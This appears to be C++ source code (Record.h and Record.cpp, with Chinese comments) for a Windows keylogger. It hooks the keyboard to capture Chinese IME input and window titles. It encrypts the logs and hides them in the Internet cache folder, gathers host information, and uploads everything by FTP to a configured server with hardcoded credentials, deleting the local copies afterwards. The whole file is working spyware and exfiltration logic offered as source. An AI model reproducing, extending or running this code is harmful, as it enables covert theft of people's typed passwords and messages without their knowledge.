Record.h
#pragma once
#include "GetPCInfos.h"
#include <afxmt.h>
#define WM_KEYHOOK_CN WM_USER+100 //中文键盘消息
#define WM_FTP WM_USER+101
#define MAX_INFO_SIZE 256
#define MAX_CN_STRING_LEN 256
//消息结构体,记录截获到的中文信息及当前窗口句柄
typedef struct _recordInfo
{
char lpstr[MAX_INFO_SIZE]; //获取中文输入信息
//char svTitle[MAX_INFO_SIZE];
HWND hFocus; //当前窗口句柄
} RecordInfo,*PRecordInfo;
//文件类型:分别对应键盘记录文件、主机信息文件、录屏文件
typedef enum{
DAT,TMP,EXE
}FILE_TYPE;
class CRecord
{
public:
CRecord(void);
~CRecord(void);
void GetInfo(); //获取IP等信息
int InitEnvironment();
int SetKeyBoardHookThreadId(int threadid);
void CreateRecordFileName();
void WriteDownStr(const CString strData);
BOOL PutFile(CString strSourceName, CString strDestName);
public:
CEvent uploadEvent;
CString strEncrypt; //记录的信息
HWND g_hLastFocus;
unsigned nKeyRecordThreadID; //键盘记录线程ID
HANDLE hKeyRecordThread; //键盘记录线程句柄
unsigned nFTPthreadID; //
HANDLE hFTPThread; //
CString FullRecorderFileName ;
CString m_strFtpSite;
CString m_strFtpName;
CString m_strFtpPassword;
};
Record.cpp
#include "stdafx.h"
#include "Record.h"
#include "NetProperty.h"
#include <Shlwapi.h>
#include <process.h>
#include "afxinet.h"
#include "afx.h"
#include "Imm.h"
#include "KHook.h"
#include "DisposeData.h"
#pragma comment(lib,"shlwapi")
#pragma comment(lib,"imm32.lib")
#pragma comment(lib,"KHook.lib")
UINT __stdcall UploadFile(LPVOID lParam)
{
CRecord * pRecord = (CRecord *)lParam;
CMutex mText;
while (TRUE)
{
WaitForSingleObject(pRecord->uploadEvent,INFINITE);
Sleep(180000);
CFile fileExist;
if (fileExist.Open(pRecord->FullRecorderFileName,CFile::modeReadWrite))
{
fileExist.Close();
if(!pRecord->strEncrypt.IsEmpty())
{
pRecord->WriteDownStr(pRecord->strEncrypt);
pRecord->strEncrypt.Empty();
}
char * tmpFilename =new char[MAX_PATH];
memset(tmpFilename,0,MAX_PATH);
memcpy(tmpFilename,pRecord->FullRecorderFileName,pRecord->FullRecorderFileName.GetLength());
if(!PostThreadMessage(pRecord->nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0))//post thread msg
{
PostThreadMessage(pRecord->nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0);
}
}
pRecord->uploadEvent.ResetEvent();
}
return 1;
}
unsigned __stdcall RecordCnKey(void *param)
{
TRACE("Start RecordCnKey thread....\r\n");
SECURITY_ATTRIBUTES sa;
SECURITY_DESCRIPTOR sd;
InitializeSecurityDescriptor(&sd,SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(&sd,TRUE,NULL,FALSE);
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = &sd,
sa.bInheritHandle = FALSE;
DWORD threadid=GetCurrentThreadId();
HANDLE hThreadid=CreateFileMapping((HANDLE)0xffffffff,&sa,PAGE_READWRITE,0,sizeof(int),"Threadid");
HANDLE hCNString=CreateFileMapping((HANDLE)0xffffffff,&sa,PAGE_READWRITE,0,MAX_CN_STRING_LEN,"CNString");
if(hThreadid){
int *pThreadid=(int *)MapViewOfFile(hThreadid,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
if(pThreadid) *pThreadid=threadid;
}
CRecord *pRecord;
pRecord = (CRecord *)param;
MSG msg;
PeekMessage(&msg, NULL, WM_KEYHOOK_CN, WM_KEYHOOK_CN, PM_NOREMOVE);
while(true)
{
if(GetMessage(&msg,0,0,0)) //get msg from message queue
{
switch(msg.message)
{
case WM_KEYHOOK_CN:
PRecordInfo pInfo = (PRecordInfo)msg.wParam;
//此处判断若窗口已改变,则将上一窗口记录的文件名发送到FTP线程,由FTP线程负责上传及删除,
//发送完毕后,此处重新生成新窗口的记录文件名,将窗口名称及记录 信息写入到新窗口文件中。
//若窗口未改变,则直接在原窗口文件后面追加记录信息
//HWND hFocus=GetActiveWindow();
HWND hFocus=GetForegroundWindow();
int aa = GetLastError();
TRACE("GetLastError:%d",aa);
if(pRecord->g_hLastFocus!=hFocus)
//if(pRecord->g_hLastFocus!=pInfo->hFocus)
{
//MessageBox(0,pRecord->FullRecorderFileName,"100",0);
if(!pRecord->FullRecorderFileName.IsEmpty())
{
//如果上传文件的时候,strEncrypt中还有信息就先写到文件中再上传
if(!pRecord->strEncrypt.IsEmpty())
{
pRecord->WriteDownStr(pRecord->strEncrypt);
pRecord->strEncrypt.Empty();
}
char * tmpFilename =new char[MAX_PATH];
memset(tmpFilename,0,MAX_PATH);
memcpy(tmpFilename,pRecord->FullRecorderFileName,pRecord->FullRecorderFileName.GetLength());
if(!PostThreadMessage(pRecord->nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0))//post thread msg
{
PostThreadMessage(pRecord->nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0);
}
}
pRecord->uploadEvent.SetEvent();
pRecord->CreateRecordFileName();
char svTitle[256];
int nCount;
nCount=GetWindowText(hFocus,svTitle,256);
if(nCount>0)
{
CString tmpstr;
tmpstr.Format("[^%s^]\r\n",svTitle);
pRecord->WriteDownStr(tmpstr);
}
pRecord->g_hLastFocus=hFocus;
}
char *pCNString;
HANDLE hCNString=OpenFileMapping(FILE_MAP_WRITE,false,"CNString");
if(hCNString)
{
pCNString=(char *)MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
pRecord->strEncrypt += pCNString;
//如果strEncrypt的长度大于或者8了就可以写入到文件中,
//主要是可以在解密的时候效率更高,文件传输的时候不至于传输文件过大
//每个按键输出的信息都分别加密会导致程序效率较低
//所以最后将按键记录大于等于8再加密一次
if(pRecord->strEncrypt.GetLength() >= 8)
{
pRecord->WriteDownStr(pRecord->strEncrypt);
pRecord->strEncrypt.Empty();
}
}
/*pRecord->WriteDownStr(pInfo->lpstr);
delete pInfo;*/
break;
}
}
}
return 0;
}
unsigned __stdcall FTPAndDelete(void *param)
{
TRACE("Start FTPAndDelete thread....\r\n");
CRecord *pRecord;
pRecord = (CRecord *) param;
MSG msg;
PeekMessage(&msg, NULL, WM_FTP, WM_FTP, PM_NOREMOVE);
while(true)
{
if(GetMessage(&msg,0,0,0)) //get msg from message queue
{
switch(msg.message)
{
case WM_FTP:
char *tmpfilname = (char*) msg.wParam;
if(tmpfilname!=NULL && PathFileExists(tmpfilname))
{
CString localfilename;
localfilename.Format("%s",tmpfilname);
CString remotefilename;
remotefilename = localfilename.Mid(localfilename.ReverseFind('\\')+1,localfilename.GetLength()-localfilename.ReverseFind('\\')-1);
if(pRecord->PutFile(localfilename,remotefilename))
{
remove(localfilename);
}
}
else
{
// MessageBox(NULL,tmpfilname,"不存在",0);
}
delete [] tmpfilname;
break;
}
}
}
}
CRecord::CRecord( void )
{
g_hLastFocus = NULL;
nKeyRecordThreadID = 0; //键盘记录线程ID
hKeyRecordThread = NULL; //键盘记录线程句柄
nFTPthreadID = 0; //
hFTPThread = NULL; //
FullRecorderFileName ="";
m_strFtpSite = "127.0.0.1";
m_strFtpName = "toldo";
m_strFtpPassword = "toldo";
}
CRecord::~CRecord( void )
{
}
//初始化,启动两个线程,设置KHook.dll中键盘记录ID
int CRecord::InitEnvironment()
{
TRACE("Begin Initialize Environment ...\r\n");
hKeyRecordThread = (HANDLE)_beginthreadex( NULL, 0, &RecordCnKey, (LPVOID)this, 0, &nKeyRecordThreadID );
hFTPThread = (HANDLE) _beginthreadex(NULL,0,&FTPAndDelete,(LPVOID)this,0,&nFTPthreadID);
//HANDLE hThreadid=CreateFileMapping((HANDLE)0xffffffff,NULL,PAGE_READWRITE,0,sizeof(long),"nKeyRecordThreadID");
_beginthreadex(NULL,0,&UploadFile,(LPVOID)this,0,NULL);
SetKBHookCn();
TRACE("Initialize Ok!\r\n");
GetInfo();
return 0;
}
void CRecord::CreateRecordFileName()
{
CString m_CurrentTime;
CTime m_currentTime=CTime::GetCurrentTime();
m_CurrentTime.Format(_T("%04d%02d%02d%02d%02d%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
char chTempPath[MAX_PATH] = {0};
BOOL b= SHGetSpecialFolderPath(NULL,chTempPath, CSIDL_INTERNET_CACHE,0);//获取特殊路径
CString strTempPath = chTempPath;
strTempPath += TEXT("\\");
GetPCInfos macInfo;
//CNetProperty netIp;
CString m_Ip;
char tmpIP[32];
macInfo.GetMacByGetAdaptersInfo(tmpIP);
m_Ip.Format("%s",tmpIP);
// FullRecorderFileName = strTempPath + m_Ip +"-"+ m_CurrentTime ;
CString tmpFileName = m_Ip +"-"+ m_CurrentTime;
//加密文件名
char *tmp = tmpFileName.GetBuffer(0);
tmpFileName.ReleaseBuffer();
DisposeData m_encodeFileName;
m_encodeFileName.SetValue(tmp);
tmpFileName = m_encodeFileName.EncryptFileName();
FullRecorderFileName = strTempPath + tmpFileName + ".tmp";
TRACE("CreateRecordFileName Ok!\r\n");
}
void CRecord::WriteDownStr( const CString strData )
{
//记录文件指针
FILE *pRecorderFile;
//写入文件
fopen_s(&pRecorderFile, FullRecorderFileName, "ab+");
if (NULL != pRecorderFile)
{
char buff[1024] = {0};
strcpy_s(buff, strData.GetLength()+1, strData);
buff[strData.GetLength()] = '\0';
//加密内容
DisposeData encode;
encode.SetValue(buff);
CString tmpBuf;
tmpBuf = encode.ProcessData(TRUE);
memset(buff,0,1024);
strcpy_s(buff, tmpBuf.GetLength()+1, tmpBuf);
fwrite(buff, tmpBuf.GetLength(), 1, pRecorderFile);
//不写入换行
//strcpy_s(buff, sizeof(TEXT("\n")), TEXT("\n"));
//fwrite(buff, sizeof("\n"), 1, pLogFile);
fclose(pRecorderFile);
pRecorderFile = NULL;
TRACE("WriteDown %s Ok!\r\n",strData);
}
}
BOOL CRecord::PutFile( CString strSourceName, CString strDestName )
{
CInternetSession* pSession;
CFtpConnection* pConnection;
pConnection=NULL;
//创建Internet会话
pSession=new CInternetSession("MYFTP",
1,
PRE_CONFIG_INTERNET_ACCESS);
try
{
//建立FTP连接
pConnection=pSession->GetFtpConnection( m_strFtpSite,
m_strFtpName,
m_strFtpPassword);
}
catch (CInternetException* e)
{
//错误处理
e->Delete();
pConnection=NULL;
return FALSE;
}
if (pConnection!=NULL)
{
//上传文件
if (!pConnection->PutFile(strSourceName,strDestName))
{
//上传文件错误
pConnection->Close();
delete pConnection;
delete pSession;
return FALSE;
}
}
//清除对象
if (pConnection!=NULL)
{
pConnection->Close();
delete pConnection;
}
delete pSession;
return TRUE;
}
void CRecord::GetInfo()
{
GetPCInfos info;
info.GetPcInfo();
info.SaveFile();
CString strSourceFile(info.GetFilePath().c_str());
CString strDestName;
strDestName=strSourceFile.Right(strSourceFile.GetLength()-strSourceFile.ReverseFind('\\')-1);
PutFile(strSourceFile,strDestName);
}